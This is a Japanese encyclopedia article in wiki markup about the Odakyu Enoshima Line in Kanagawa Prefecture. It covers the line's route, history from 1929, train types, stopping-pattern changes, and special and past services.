| 江ノ島線(えのしません)は、神奈川県相模原市南区の相模大野駅から神奈川県藤沢市の藤沢駅を経由して、同市の片瀬江ノ島駅を結ぶ小田急電鉄の鉄道路線である。駅ナンバリングで使われる路線記号はOE。線形の関係上、JR東日本の東海道線と接続する藤沢駅でスイッチバックを行う。なお、実際の小田原線からの分岐は相模大野駅から0.2 km小田原寄りの相模大野分岐点である。 | <!--検証可能性を満たさない部分があれば、該当箇所にテンプレートを貼付した上でノートで具体的に指摘してください-->
{{Infobox 鉄道路線
|路線名=[[File:Odakyu electric railway company logos.svg|60px|小田急電鉄|link=小田急電鉄]] 江ノ島線
|路線色=#2288CC
|ロゴ=File:Odakyu enoshima.svg
|ロゴサイズ=40px
|画像=江ノ島線90周年ラッピング.jpg
|画像サイズ=300px
|画像説明=江ノ島線開業90周年トレイン<br>(2019年1月 [[善行駅]]付近)
|国={{JPN}}
|所在地=[[神奈川県]]
|起点=[[相模大野駅]]
|終点=[[片瀬江ノ島駅]]
|駅数=17駅
|路線記号=OE
|開業=[[1929年]][[4月1日]]
|休止=
|廃止=
|所有者=[[小田急電鉄]]
|運営者=小田急電鉄
|車両基地=
|使用車両=[[小田急電鉄#車両]]を参照
|路線距離=27.6 [[キロメートル|km]]
|軌間=1,067 [[ミリメートル|mm]]
|線路数=[[複線]]
|電化方式=[[直流電化|直流]]1,500 [[ボルト (単位)|V]]<br>[[架空電車線方式]]
|最大勾配=
|最小曲線半径=
|閉塞方式=自動閉塞式
|保安装置=[[自動列車停止装置#D-ATS-P(デジタルATS-P)形|D-ATS-P]]
|最高速度=110 [[キロメートル毎時|km/h]]<ref name="terada">寺田裕一『改訂新版 データブック日本の私鉄』 - ネコ・パブリッシング</ref>
|路線図=[[File:Odakyu Electric Railway Linemap.svg|300px]]
}}
{| {{Railway line header}}
{{UKrail-header2|停車場・施設・接続路線|#2288CC|white}}
{{BS-table}}
{{BS5|KHSTa|||||{{BSkm| - |0.0}}|OH01 [[新宿駅]]|}}
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{{BS5|ABZgl|STR+r||||||}}
{{BS5|LSTR|STR|||||||}}
{{BS3|BHF|||{{BSkm|1.5|33.8}}|OE01 [[東林間駅]]||}}
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{{BS3|SKRZ-Au|||||[[東名高速道路]]|}}
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{{BS3|STR|||||←[[相模鉄道|相鉄]]:[[相鉄本線|本線]]→|}}
{{BS3|BHF|||{{BSkm|9.8|42.1}}|OE06 [[桜ヶ丘駅]]||}}
{{BS3|BHF|||{{BSkm|11.8|44.1}}|OE07 [[高座渋谷駅]]||}}
{{BS5|tSTRaq|KRZt|tSTReq|||||←[[東海旅客鉄道|JR東海]]:[[東海道新幹線]]→|}}
{{BS3|STR||||||}}
{{BS3|BHF|||{{BSkm|14.0|46.3}}|OE08 [[長後駅]]||}}
{{BS3|STR|||||相鉄:[[相鉄いずみ野線|いずみ野線]]→|}}
{{BS3|BHF|tKBHFaq|tSTRq|O1=HUBaq|O2=HUBlg|{{BSkm|15.8|48.1}}|OE09 [[湘南台駅]]||}}
{{BS3|STR|tKBHFaq|tSTRq|O2=HUBe|||[[横浜市営地下鉄]]:[[横浜市営地下鉄ブルーライン|ブルーライン]]→|}}
{{BS3|STR||||||}}
{{BS3|BHF|||{{BSkm|17.3|49.6}}|OE10 [[六会日大前駅]]||}}
{{BS3|BHF|||{{BSkm|19.7|52.0}}|OE11 [[善行駅]]||}}
{{BS3|TUNNEL1||||||}}
{{BS3|BHF|||{{BSkm|21.3|53.6}}|OE12 [[藤沢本町駅]]||}}
{{BS3|KRZo|BHFq|STRq|O2=HUBa|{{BSkm|23.1|55.4}}||←[[東日本旅客鉄道|JR東]]:[[東海道線 (JR東日本)|東海道線]]→|}}
{{BS3|ABZl+l|KBHFeq|KBHFa|O2=HUBlf|O3=HUBeq|{{BSkm|23.1|55.4}}|OE13 [[藤沢駅]]|[[江ノ島電鉄|江ノ電]]:[[江ノ島電鉄線]]↓}}
{{BS3|BHF||LSTR|{{BSkm|24.6|56.9}}|OE14 [[本鵠沼駅]]||}}
{{BS3|BHF|WASSER+l|hLKRZWae|{{BSkm|25.9|58.2}}|OE15 [[鵠沼海岸駅]]|/[[境川 (東京都・神奈川県)|境川]]|}}
{{BS3|KBHFe|WASSER|HST|{{BSkm|27.6|59.9}}|OE16 [[片瀬江ノ島駅]]|/→[[江ノ島駅]]|}}
{{BS5||WDOCKSm|WDOCKSa-L|STR|KHSTaq|||[[湘南江の島駅]]|}}
{{BS||||[[湘南モノレール]]:[[湘南モノレール江の島線|江の島線]]→|}}
|}
|}
'''江ノ島線'''(えのしません)は、[[神奈川県]][[相模原市]][[南区 (相模原市)|南区]]の[[相模大野駅]]から神奈川県[[藤沢市]]の[[藤沢駅]]を経由して、同市の[[片瀬江ノ島駅]]を結ぶ[[小田急電鉄]]の[[鉄道路線]]である<ref>{{Cite web|和書|url=https://www.odakyu.jp/company/railroad/about/ |title=当社路線の概要 |access-date=2022-12-09 |publisher=小田急電鉄}}</ref>。[[駅ナンバリング]]で使われる路線記号は'''OE'''。[[線形 (路線)|線形]]の関係上、[[東日本旅客鉄道|JR東日本]]の[[東海道線 (JR東日本)|東海道線]]と接続する藤沢駅で[[スイッチバック]]を行う。なお、実際の[[小田急小田原線|小田原線]]からの分岐は相模大野駅から0.2 km小田原寄りの[[相模大野分岐点]]である。
== 概要 ==
相模原市南部の交通・商業拠点である[[相模大野]]から、[[大和市]]を経由して[[湘南]]エリアの[[中核市]]である藤沢市に至る。[[相模野台地]]を南北に貫き、直線が多く、曲線は少なめだが細かいアップダウンはそれなりにある。江ノ島線の東側は少し離れたところを[[境川 (東京都・神奈川県)|境川]]の中流から下流が、西側は大和市から南で[[引地川]]が並行しているが、ともに渡らない。藤沢の先は方向転換して平地を進み、海に面した境川の河口に行き着いて、終点の片瀬江ノ島となる。
[[東京都|東京]]方面に向かう通勤通学路線であるとともに、[[湘南]]を代表する観光地である[[江の島]]エリアへのアクセスを担う<ref>{{Cite web|和書|title=アクセス |url=https://www.fujisawa-kanko.jp/access/ |website=藤沢市観光公式ホームページ |access-date=2022-12-08 |language=ja-JP}}</ref>。また、神奈川県を南北に縦断することから、[[東急田園都市線]]・[[相鉄本線]]・[[相鉄いずみ野線]]・[[横浜市営地下鉄ブルーライン]]・[[東海道線 (JR東日本)|東海道線]]といった東京・横浜方面から放射状に延びる多数の鉄道路線との乗り換えが可能である<ref>{{Cite web|和書|title=駅・時刻表 (路線図から探す)|小田急電鉄 |url=https://www.odakyu.jp/station/ |website=www.odakyu.jp |access-date=2022-12-08}}</ref>。藤沢駅では[[小田急グループ]]の[[江ノ島電鉄]](江ノ電)と連絡している。[[新宿駅]] - 藤沢駅間の移動においては途中経路は大きく異なるものの、JR東日本の[[湘南新宿ライン]]と競合関係にある。
[[小田急ロマンスカー|特急ロマンスカー]]や[[快速急行]]、[[急行列車|急行]]といった優等種別が小田原線新宿駅・[[町田駅]]方面と直通で運転されているが、[[各駅停車]]は相模大野駅発着の線内折り返し列車がほとんどである。各駅停車はすべて6両編成、快速急行と急行は10両編成で運転される。[[2022年]]3月12日のダイヤ改正で、片瀬江ノ島駅発着の小田原線直通列車は早朝の上り急行新宿行1本と特急ロマンスカーを除き廃止となり、快速急行と急行は原則として藤沢駅発着となった。また、各駅停車も早朝・深夜の一部の列車を除き、スイッチバックが必要な藤沢駅で系統分断された<ref name="odakyu20211217">{{Cite press release|和書|title=2022年3月12日(土)小田急線のダイヤを変更します|publisher=小田急電鉄|date=2021-12-17|url=https://www.odakyu.jp/news/o5oaa100000214sd-att/o5oaa100000214sk.pdf|format=PDF|accessdate=2021-12-18}}</ref>。
=== 路線データ ===
* 路線距離:27.4km([[相模大野分岐点]]から)
* [[軌間]]:1067mm
* 駅数:17駅(起終点駅含む)
* [[複線]]区間:全線
* [[鉄道の電化|電化]]区間:全線(直流1500V)
* [[閉塞 (鉄道)|閉塞方式]]:自動閉塞式
* 最高速度:110km/h<ref name="terada" />
== 路線概要 ==
=== 相模大野 - 大和 ===
通過線を含む2面6線の相模大野駅を発車するとすぐに小田原線から分岐し右手に[[小田急電鉄の車両検修施設#大野総合車両所|大野総合車両所]]を見て南東を向き、間もなく東林間駅へ。さらに[[林間都市]]として開発された住宅街を直線で抜け、[[大和市]]に入り右へカーブし南を向くと東急田園都市線と接続する2面2線の中央林間駅に到着する。
中央林間駅を発車すると住宅街を走りながら再び南東を向き、2面2線の南林間駅へ。さらに間もなく鶴間駅に到着。鶴間駅を発車すると住宅街を直線で抜け、[[国道246号]](大和厚木バイパス)を跨ぎさらに[[東名高速道路]]をくぐると大和市の中心街へ入る。高架を上ると地下を走る相鉄本線と交差し2面4線の大和駅に到着する。
[[ファイル:Odakyu 30000 Enoshima Yamato 20040214.jpg|200px|thumb|none|大和駅に進入する[[小田急30000形電車|30000形「EXE」]]による特急「[[えのしま (列車)|えのしま]]」]]
=== 大和 - 藤沢 ===
大和駅を発車するとしばらく市街地を高架で走り右へカーブし南を向く。この先は[[国道467号]]と平行し桜ヶ丘駅へ。この先も国道467号と平行し、[[東海道新幹線]]と交差すると高座渋谷駅に到着。発車するとしばらくして[[藤沢市]]に入る。2面4線の長後駅は藤沢市北部だけでなく[[綾瀬市]]南東部の住民の足も担っている。長後駅を発車するとしばらくして南東を向く。昭和40年代から宅地開発の進んだ湘南台地区に入ると間もなく[[相鉄いずみ野線]]・[[横浜市営地下鉄ブルーライン]]と接続する2面2線の[[湘南台駅]]に到着する。
湘南台駅を発車するとしばらく住宅街を走り、[[六会日大前駅]]へ。発車して右手に[[日本大学]]湘南キャンパス・[[日本大学藤沢高等学校]]が見えるが、この先は住宅と畑の混在する区間を走り、急勾配を駆け下りる。さらに勾配を上ると善行駅に到着する。その直後に江ノ島線唯一のトンネルを抜け、しばらくして左へカーブし[[国道1号]]をくぐると藤沢本町駅へ。ここから先は藤沢市の市街地を走る。[[日本精工]]の工場が右手に見え、左へ急カーブし東を向くと[[東海道本線]]をオーバークロスし、坂を下ると右手から片瀬江ノ島方面からの線路が合流、東海道本線・[[江ノ島電鉄線]]と接続する2面3線の藤沢駅に到着する。
[[ファイル:OER 1493 Fujisawa 20120228 RapidExp.jpg|thumb|none|[[スイッチバック]]配線の藤沢駅に進入する1000形による快速急行、1000形がいる右側が相模大野方面、左側が江ノ島方面]]
=== 藤沢 - 片瀬江ノ島 ===
この区間も相模大野 - 藤沢間と同じく住宅地が広がっている。かつて急行停車駅だった本鵠沼・鵠沼海岸の2駅は相模大野 - 藤沢間の急行通過駅と同じくホーム有効長が最大6両分しかない。
スイッチバックし藤沢駅を発車すると相模大野方面の線路を右上に見ながら左にカーブして南西を向く。この先の地域は[[鵠沼]]と呼ばれ、江戸時代は[[天領]](幕府直轄領)、明治以降は別荘地であったが、[[関東大震災]]以降政治家や実業家、上級軍人が転居してくるようになり[[首都圏 (日本)|首都圏]]有数の高級住宅街へと成長した。住宅街を直線で抜けると本鵠沼駅に到着。発車するとこの先で左へ大きくカーブし南東を向く。鵠沼海岸駅を発車すると車内からは見えないが完全に[[相模湾]]・[[国道134号]]と並走する。[[片瀬 (藤沢市)|片瀬]]地区に入り、正面に[[龍宮|竜宮城]]を模した建物(片瀬江ノ島駅舎)が見えると2面3線の片瀬江ノ島駅に到着する。駅舎を出ると[[境川 (東京都・神奈川県)|境川]]、境川にかかる弁天橋を渡り右へ曲がると関東随一の景勝地・[[江の島]]である。
== 歴史 ==
* [[1926年]]([[大正]]15年)[[10月4日]]:鉄道免許状下付(神奈川県高座郡大野村-同郡藤沢町)<ref>[{{NDLDC|2956387/7}} 「鉄道免許状下付」『官報』1926年10月7日](国立国会図書館デジタルコレクション)</ref>。
* [[1928年]]([[昭和]]3年)[[4月1日]]:小田原急行鉄道'''藤沢線'''として大野信号所(現・[[相模大野駅]]) - [[藤沢駅]]間が着工される。
* [[1929年]](昭和4年)
** [[2月13日]]:小田原急行鉄道'''片瀬線'''として藤沢駅 - [[片瀬江ノ島駅]]間が着工される。
** 4月1日<ref>[{{NDLDC|2957144/10}} 「地方鉄道運輸開始」『官報』1929年4月6日](国立国会図書館デジタルコレクション)</ref> 小田原急行鉄道'''江ノ島線'''として大野信号所 - 片瀬江ノ島駅間を全線複線、駅数13で開業する。
* [[1938年]](昭和13年)4月1日:大野信号所を格上げし通信学校駅開業、起点を通信学校駅に変更。
* [[1941年]](昭和16年)
** [[1月1日]]:通信学校駅を相模大野駅に改称。
** [[10月15日]]:東林間都市駅を東林間駅に、中央林間都市駅を中央林間駅に、南林間都市駅を南林間駅に改称。
* [[1942年]](昭和17年)[[5月1日]]:[[東京急行電鉄]]との合併により、同社の路線となる([[大東急]]の一部)。
* [[1943年]](昭和18年)[[11月16日]]:[[太平洋戦争|戦時中]]につき[[不要不急線|不要不急]]とされた藤沢駅 - 片瀬江ノ島駅間が単線となる<ref name="fujisawa">[http://digital.city.fujisawa.kanagawa.jp/introduction/history/list.php 市史編さん] - 藤沢市文書館</ref>。
* [[1944年]](昭和19年)
** [[6月1日]]:西大和駅を大和駅に改称。
** [[11月27日]]:江ノ島線貨物営業開始認可に伴い、新長後駅で貨物扱い開始<ref name="fujisawa"/>。
* [[1948年]](昭和23年)
** [[6月1日]]:東京急行電鉄から小田急電鉄が分離し、江ノ島線が同社に移管される。
** [[9月18日]]:藤沢駅 - [[本鵠沼駅]]間が複線に戻る<ref name="fujisawa"/>。
* [[1949年]](昭和24年)[[4月10日]]:本鵠沼駅 - 片瀬江ノ島駅間が複線に戻る<ref name="fujisawa"/>。
* [[1952年]](昭和27年)[[11月25日]]:桜ヶ丘駅開業。高座渋谷駅を藤沢側に約0.6 km移設。
* [[1958年]](昭和33年)4月1日:新長後駅を長後駅に改称<ref name="fujisawa"/>。
* [[1960年]](昭和35年)[[10月1日]]:善行駅開業<ref name="fujisawa"/>。
* [[1966年]](昭和41年)
** [[11月6日]]:江ノ島線の貨物取扱を廃止し、長後駅の貨物扱い終了<ref name="fujisawa"/>。
** [[11月7日]]:湘南台駅開業<ref name="fujisawa"/>。
* [[1997年]]([[平成]]9年)[[12月28日]]:相模大野駅が新宿側に0.2 km移転(運賃改定に伴う営業キロの変更によるもので、新駅舎の供用は1996年)。ただし江ノ島線分岐位置は旧駅位置のままで変更なく、起点が旧駅位置の相模大野分岐点となる。
* [[1998年]](平成10年)[[8月22日]]:六会駅を六会日大前駅に改称<ref>{{Cite press release|和書|url=http://www.odakyu-group.co.jp/topics/98mutsuai.htm|archiveurl=https://web.archive.org/web/19981206063529/http://www.odakyu-group.co.jp/topics/98mutsuai.htm|language=日本語|title=駅名改称のお知らせ 「六会」を「六会日大前」に改称します|publisher=小田急電鉄|date=1998-04-20|accessdate=2022-03-20|archivedate=1998-12-06}}</ref><ref>{{Cite news |title=「六会」駅を改称「六会日大前」に 8月22日から |newspaper=[[交通新聞]] |publisher=交通新聞社 |date=1998-05-15 |page=1 }}</ref>。
* [[2022年]]([[令和]]4年)[[3月12日]]:ダイヤ改正で、片瀬江ノ島駅発着の小田原線直通列車は早朝の上り急行新宿行1本と特急ロマンスカーを除き廃止となり、快速急行と急行は原則として藤沢駅発着となった。また、各駅停車も早朝・深夜の一部の列車を除き、スイッチバックが必要な藤沢駅で系統分断された。
当初、小田原線からは座間駅(現在の[[相武台前駅]])で分岐する予定だったが、当時の駅付近には農業地が多かったため、当時山林が主だった相模大野からの分岐となった{{要出典|date=2021年3月}}。
藤沢 - 江ノ島間については、免許を申請した段階で、既に江ノ島電気鉄道(現・[[江ノ島電鉄]])の藤沢 - 江ノ島 - 小町(鎌倉)間の路線(現・[[江ノ島電鉄線]])や大船 - 江ノ島 - 茅ヶ崎間の建設予定線があった。
特に後者とは片瀬江ノ島駅付近で交差するため、当初は江ノ島電気鉄道の予定線が開業した場合には撤去するという条件の仮設線として建設された。当時としては巨額の18,000円を投じて建設された片瀬江ノ島駅の[[龍宮|竜宮城]]を模した初代駅舎も、この計画の関係上、名目上は本設ではなく仮設駅舎として建設された。
しかし、着工した段階で後者の免許の期限(1930年1月)が迫っており、また江ノ島電気鉄道には着工に入るだけの資金もなくその失効が確実視されていたため、実際には小田急電鉄は本設物として同区間を建設し、予定通り免許が失効して本設物扱いに変更され、同時に片瀬江ノ島駅の仮設駅舎は本設駅舎に変更された。また、大野方面から藤沢市街地へは用地買収の手間が掛からない西側から入ることにしたが、ここからまっすぐ江ノ島へ進むと江ノ電と完全に並行することになり、経路重複を避けるよう[[鉄道省]]から指導されていたため、藤沢駅でスイッチバックを行って西側を進むルートをとった。
1984年、桜ヶ丘駅 - 高座渋谷駅間において、江ノ島線で初めて[[軌条#ロングレール|ロングレール]]が敷設されたのを皮切りに、1997年までに江ノ島線全線でロングレール化が完了した。
== 運行形態 ==
=== 列車種別 ===
[[ファイル:Odakyu 4057, Enoshima Line.jpg|thumb|江ノ島線を走る4000形(長後駅 - 高座渋谷駅間 上り方面)]]
江ノ島線では[[特別急行列車|特急]]([[小田急ロマンスカー|ロマンスカー]])、[[快速急行#小田急電鉄|快速急行]]、[[急行列車|急行]](朝夕のみの運転)、[[各駅停車]]の4つの[[列車種別|種別]]の列車が運行されている。
日中の1時間毎の運行本数をまとめると、以下のとおりになる(2022年3月12日改正時点)。
{| class="wikitable" style="font-size:90%;"
|-
!colspan="2"|種別\駅名
!新宿
!…
!町田
!…
!相模大野
!…
!colspan="2"|藤沢
!…
!片瀬江ノ島
!備考
|- style="text-align:center;"
!rowspan="4" style="width:1em;"|運行本数
| style="background-color:#f78;" |特急
| colspan="10" style="background-color:#f78;" |0-1本||一部、東京メトロ千代田線直通<br />土休日のみ運転
|- style="text-align:center;"
|style="background:#fdb;"|快速急行
|colspan="8" style="background:#fdb;"| 3本 ||colspan="2" | ||
|- style="text-align:center;"
|rowspan="2" style="background:#bdf;" |各駅停車
|colspan="2"| ||colspan="2" style="background:#bdf;"| 0-2本
|colspan="3" style="background:#bdf;"| 6本 ||colspan="3" | ||
|- style="text-align:center;"
|colspan="6"| ||colspan="4" style="background:#bdf;"| 5本||
|}
==== 特急ロマンスカー ====
[[小田急小田原線|小田原線]][[新宿駅]] - 藤沢駅・片瀬江ノ島駅間に朝方から日中の上下と夕方の上りに'''「[[えのしま (列車)|えのしま]]」'''が運転されている。2004年12月11日の快速急行新設に伴うダイヤ改正以降、平日日中はほとんど運転がなく、土休日はおおむね2時間に1本程度の運転である。夕方の下りに'''「[[モーニングウェイ・ホームウェイ|ホームウェイ]]」'''が運転されている。なお、2016年3月26日のダイヤ改正より、江ノ島線内での[[小田急50000形電車|50000形「VSE」]]の定期運用が始まり<ref>[http://railf.jp/news/2016/03/29/171500.html 「VSE」が“ホームウェイ”で江ノ島線に入線] - 鉄道ファン・railf.jp 鉄道ニュース、2016年3月29日</ref>、ロマンスカー全形式が江ノ島線に乗り入れることとなった{{efn|2018年3月に登場した[[小田急70000形電車|70000形「GSE」]]もVSEと共通運用のため、登場当初より乗り入れている。}}。
また、2018年3月のダイヤ改正より[[東京メトロ千代田線]]と直通運転を行い、[[北千住駅]] - 片瀬江ノ島駅間を運行する'''「[[えのしま (列車)|メトロえのしま]]」'''が土休日に下り2本、上り1本設定されている。車両は地下鉄直通が可能な[[小田急60000形電車|60000形「MSE」]]が使用される。
==== 快速急行 ====
[[2004年]][[12月11日]]に登場した種別である。小田原線内・江ノ島線内ともに急行より停車駅を減らし、速達化を図っている。日中は1時間に3本の運転で10両編成で運転されている。江ノ島線内では過去に運行されていた[[#湘南急行|湘南急行]]と停車駅が同一となっている。
江ノ島線の快速急行は、平日・土休日共に全ての列車が新宿駅 - 藤沢駅間の運転である。さらに快速急行の大部分は藤沢で片瀬江ノ島発着の各駅停車と接続する。
[[2018年]][[3月16日]]までは片瀬江ノ島駅発着の列車は平日に下り2本・上り1本、土休日に上下1本のみ運転されていたが、2018年[[3月17日]]のダイヤ改正で運行形態が変更され<ref name="odakyu20171101">{{Cite press release |和書 |title=2018年3月、新ダイヤでの運行開始 |publisher=小田急電鉄 |date=2017-11-01 |url=http://www.odakyu.jp/program/info/data.info/8701_5820170_.pdf |format=PDF |accessdate=2017-11-02}}</ref><ref name="odakyu20171215">{{Cite press release |和書 |title=新ダイヤでの運行開始日を決定! |publisher=小田急電鉄 |date=2017-12-15 |url=http://www.odakyu.jp/program/info/data.info/8731_0522542_.pdf |format=PDF |accessdate=2017-12-16}}</ref>、土休日の江ノ島線直通列車の本数が83本に増発され、うち18本を除き片瀬江ノ島発に変更された。この改正で平日の片瀬江ノ島駅発着は廃止され<ref name="navitime">{{Cite |title=小田急電鉄とナビタイムジャパンが連携、新ダイヤ対応の乗換案内特設サイトを提供開始 |publisher=ナビタイム |date=2018-2-5 |url=http://corporate.navitime.co.jp/topics/pr/201802/05_4348.html}}</ref>、停車駅に[[登戸駅]]が追加された<ref name="odakyu20171101"/>。しかし、2022年3月12日のダイヤ改正で片瀬江ノ島駅発着は全廃となり、土休日も含めて全列車が藤沢駅折り返しとなった。
==== 急行 ====
1959年4月に登場した種別である。朝夕に新宿駅・[[町田駅]]・相模大野駅 - 藤沢駅間、新宿駅 - 大和駅間に10両編成で運転されている(新宿駅 - 大和駅間は平日上り早朝のみ1本で、相模大野駅から快速急行として運転)。土休日夜間の上り急行の一部は、大和駅で特急に追い越される。
2016年3月25日までは終日運転されていたが、2016年3月26日のダイヤ改正で、日中の快速急行が1時間あたり20分間隔3本の運転となるのに伴い、日中は新宿駅直通・線内運転ともに廃止となった。また、同ダイヤ改正で、本鵠沼駅及び鵠沼海岸駅に停車する急行は平日上り1本下り2本、土休日は上り4本下り2本に削減された。さらに2018年3月17日のダイヤ改正で、平日朝上りに相模大野駅で種別変更し、小田原線内は快速急行として運転する大和駅・藤沢駅・片瀬江ノ島駅発の列車が設定された<ref name="odakyu20171101"/><ref name="odakyu20171215" />。この改正で片瀬江ノ島発着は途中で種別変更する列車のみとなり、新宿駅まで全区間を通して急行で運転する片瀬江ノ島発着の列車は全て廃止された。2022年3月12日のダイヤ改正では、土休日に限り全区間を通して急行運転を行う片瀬江ノ島発の列車が設定された。
2018年3月16日まで片瀬江ノ島駅発着の急行のうち、6両編成の列車は本鵠沼駅と鵠沼海岸駅にも停車していたが(列車番号は2500番台)、2018年3月17日のダイヤ改正より全ての急行列車が10両化されたことに伴い、この2駅は通過となった。
===== 停車駅の変遷 =====
* [[1959年]][[4月]](急行の運行開始):相模大野駅・藤沢駅・片瀬江ノ島駅
* [[1961年]][[10月]]:長後駅が停車駅に加えられる。
* [[1964年]][[11月]]:本鵠沼駅と鵠沼海岸駅が停車駅に加えられる。
* [[1965年]]11月:南林間駅と大和駅が停車駅に加えられる。
* [[1990年]][[3月27日]]:中央林間駅が停車駅に加えられる。
* [[1998年]][[8月22日]]:本鵠沼駅と鵠沼海岸駅が一部設定された10両編成による急行の通過駅となる<ref>{{Cite news |title=全線で急行10両化 小田急電鉄 設備改良工事で 22日から |newspaper=[[交通新聞]] |publisher=交通新聞社 |date=1998-08-10 |page=3 }}</ref>。この時点では、10両編成の電車の運用自体が少なく、あくまで一部'''通過'''とされた。
* [[2000年]][[12月2日]]:[[横浜市営地下鉄ブルーライン]]と[[相鉄いずみ野線]]が湘南台駅まで延伸したことに伴い同駅が停車駅に加えられる。
* [[2004年]][[12月11日]]:本鵠沼駅と鵠沼海岸駅が一部の6両編成による急行のみの停車駅となる。6両編成のほとんどが10両編成に置き換わり、通過列車の割合が大きくなったことから、一部'''停車'''としたのみである。1998年8月22日からこの前日までの停車パターンと変わったわけではない。
* [[2018年]][[3月17日]]:全ての急行が10両編成での運用となり、本鵠沼駅と鵠沼海岸駅が停車駅から外れた。
==== 各駅停車 ====
大半が相模大野駅 - 藤沢駅間、藤沢駅 - 片瀬江ノ島駅間の折り返し運転だが、一部に町田駅発着の列車が存在する。大和駅・長後駅・藤沢駅では特急ロマンスカー・快速急行・急行などの待ち合わせや通過待ちを行う列車がある。平日の日中における町田駅・相模大野駅 - 藤沢駅間運行の列車は、大和駅で快速急行との待ち合わせ(一部長後駅での通過待ち)をする列車と、途中駅での待ち合わせのない列車が交互に運転される。
急行停車駅以外の駅のホーム有効長が6両分のため、すべての列車が6両編成である(2008年3月のダイヤ改正で4両編成の運転はなくなった)。2008年3月14日までは相模大野駅で種別変更し、小田原線内は急行となる列車もあったが、2008年3月15日のダイヤ改正で全て廃止された。
2008年3月15日のダイヤ改正より下り終電および上り初電として、大和駅発着の列車が運転されている。
2016年3月26日ダイヤ改正で、平日朝の新宿駅発片瀬江ノ島駅行きと成城学園前駅発片瀬江ノ島駅行きの2本を除き、小田原線の玉川学園前以東を発着とする各駅停車は廃止となった。この改正で平日日中は全列車江ノ島線内運転、土休日はおよそ20分おきに町田駅発着(時間帯により相模大野発着)も運転されるようになった。さらに2018年3月17日のダイヤ改正で前記の平日朝下り片瀬江ノ島駅行き2本がともに廃止され、小田原線の玉川学園前以東発の各駅停車は消滅した。また、朝ラッシュ時の本数が毎時8本から毎時6本へと減便された。
2018年3月17日より、平日朝1本のみ片瀬江ノ島始発の新宿行が復活したが、2019年3月16日ダイヤ改正で廃止され、新宿発着の列車は廃止された。
2022年3月12日のダイヤ改正で、原則として藤沢駅で運転系統が分割され、全線通しの運転は早朝・深夜の一部列車のみとなった。
=== 臨時列車 ===
==== 特急ロマンスカー ====
'''め組エクスプレス'''
* [[1983年]][[7月]]、[[小田急小田原線|小田原線]]新宿駅 - 片瀬江ノ島駅間にて運行される。[[小田急3000形電車 (初代)|3000形「SSE」]]充当。
'''江ノ島・鎌倉エクスプレス'''
* [[1990年]][[4月]] - [[5月]]、[[小田急多摩線|多摩線]][[唐木田駅]] - 小田原線[[新百合ヶ丘駅]]経由 - 片瀬江ノ島駅間にて運行される。
'''湘南マリンエクスプレス'''
* 1990年7月 - [[8月]]、多摩線唐木田駅 - 小田原線新百合ヶ丘駅経由 - 片瀬江ノ島駅間にて運行される。
'''湘南国際マラソン号'''
* [[2007年]][[3月18日]]、新宿駅→片瀬江ノ島駅間にて運行。
** 停車駅
**: 相模大野駅・藤沢駅・片瀬江ノ島駅
'''湘南マリン号'''
* 2008年7月 - 8月、多摩線唐木田駅 - 小田原線新百合ヶ丘駅経由 - 片瀬江ノ島駅間にて運行される。[[小田急60000形電車|60000形「MSE」]](一部は[[小田急20000形電車|20000形「RSE」]])充当。また、[[2009年]]7月 - 8月にも[[成城学園前]]駅 - 片瀬江ノ島駅間で運行された。
'''メトロニューイヤー号'''
* [[2010年]][[1月1日]]、東京メトロ千代田線北千住 - 片瀬江ノ島駅間で運行される。元日の臨時列車として初めて60000形「MSE」が初めて運用される。
==== 千代田線直通列車 ====
'''秋のレジャートレイン 江の島号'''
* 2004年秋に[[東京メトロ千代田線]][[綾瀬駅]] - 片瀬江ノ島駅間で運転された臨時列車で、綾瀬駅 - 相模大野駅間は'''秋のレジャートレイン 箱根号'''(綾瀬駅 - 箱根登山鉄道線箱根湯本駅の臨時列車)と併結運転され、'''秋のレジャートレイン 箱根・江の島号'''と称した。
* 10月10日・30日 - 11月21日の土曜・日曜に運転された(祝日である11月3日には運転されていない)。
** 停車駅
**: 相模大野駅・中央林間駅・大和駅・湘南台駅・藤沢駅・本鵠沼駅・鵠沼海岸駅・片瀬江ノ島駅
'''江の島マリン号'''
* 2003年 - 2005年の夏に東京メトロ(←営団地下鉄)千代田線綾瀬駅 - 片瀬江ノ島駅間で運転された臨時列車で、このうち2003年と2004年は綾瀬駅 - 相模大野駅で'''箱根湯~ゆう号'''(綾瀬駅 - 箱根登山鉄道線箱根湯本駅の臨時列車)と併結運転された。
* 2003年は7月26日 - 8月16日の土曜に、2004年は7月24日 - 8月22日、2005年は7月23日 - 8月21日(8月13日を除く)の土曜・日曜に運転された。
** 2003年の停車駅
**: 相模大野駅・藤沢駅・本鵠沼駅・鵠沼海岸駅・片瀬江ノ島駅
** 2004年・2005年の停車駅
**: 相模大野駅・中央林間駅・大和駅・湘南台駅・藤沢駅・本鵠沼駅・鵠沼海岸駅・片瀬江ノ島駅(2004年秋のレジャートレイン 江の島号と同一)
'''箱根・湘南あじさい号'''・'''湘南・鎌倉あじさい号'''
* 2004年6月19日 - 6月27日の土曜・日曜に江ノ島マリン号と同じルートで'''箱根・湘南あじさい号'''が運転された。綾瀬駅 - 相模大野駅間は箱根湯本行と併結運転された。
* 2005年は6月11日 - 6月26日の土曜・日曜に'''湘南・鎌倉あじさい号'''として運転された。
** 停車駅
**: 相模大野駅・中央林間駅・大和駅・湘南台駅・藤沢駅・片瀬江ノ島駅
'''箱根駅伝応援号'''
* 2004年以降、1月2日と3日に東京メトロ千代田線 - 箱根登山鉄道線箱根湯本駅・小田急江ノ島線藤沢駅間で運転される臨時列車。1月2日は千代田線[[大手町駅 (東京都)|大手町駅]]→箱根湯本駅・藤沢駅の運転で、3日は箱根湯本駅→綾瀬駅の運転である。また、箱根湯本駅で2日は箱根町行、3日は箱根町発の連絡バスと接続する。なお、2004年は復路にも藤沢駅→綾瀬駅で運転していた。
** 2004年の停車駅
**: 相模大野駅・藤沢本町駅・藤沢駅
** 2005年・2006年の停車駅
**: 相模大野駅・中央林間駅・大和駅・藤沢本町駅・藤沢駅
** 2007年の停車駅
**: 相模大野駅・中央林間駅・大和駅・湘南台駅・藤沢本町駅・藤沢駅
=== 過去の列車種別 ===
==== 直通 ====
直通は、江ノ島線開業時(1929年4月1日)から1945年6月まで存在した種別である。
この時期の「各駅停車」は新宿駅 - 稲田登戸駅(現・[[向ヶ丘遊園駅]])間のみで運行されており、稲田登戸駅より先へむかう列車は小田原線も江ノ島線もすべて「直通」だった。なお小田原線の「直通」が稲田登戸駅以遠各駅停車だったのに対し、江ノ島線「直通」は玉川学園前駅、新原町田駅(現・町田駅)からの各駅に停車していた。
* 停車駅
*: 江ノ島線内各駅停車
